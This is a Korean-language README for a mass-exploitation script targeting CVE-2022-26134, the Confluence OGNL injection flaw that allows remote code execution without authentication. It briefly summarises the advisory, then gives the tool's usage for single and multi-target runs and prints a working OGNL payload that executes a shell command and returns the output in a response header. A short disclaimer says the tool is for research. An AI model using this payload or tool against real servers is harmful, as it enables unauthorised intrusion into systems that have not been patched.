Confluence 사전 인증 원격 코드 실행 (OGNL 주입, CVE-2022-26134)

2022년 6월 2일, Atlassian은 Confluence Server 및 Data Center 애플리케이션에 대한 보안 권고를 발표했으며, 심각한 수준의 인증되지 않은 원격 코드 실행 취약점을 강조했습니다. OGNL 주입 취약점으로 인해 인증되지 않은 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의의 코드를 실행할 수 있습니다.

중요 사항

이 익스플로잇은 연구자들이 취약점을 시연하기 위한 용도로만 제공됩니다. 불법적인 행위를 권장하지 않으며, 이 스크립트의 악의적인 사용에 대해 어떠한 책임도 지지 않습니다.

• 요청 예제

BurpRequest

익스플로잇 사용법

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

단일 대상 익스플로잇:

$ python3 exploit.py -u http://xxxxx.com -c id

xpl1

다중 대상 익스플로잇

$ python3 exploit.py -f urls.txt -p -c id

xpl2

OGNL 표현식

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

참고 자료:

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

-CVE-2022-26134

인기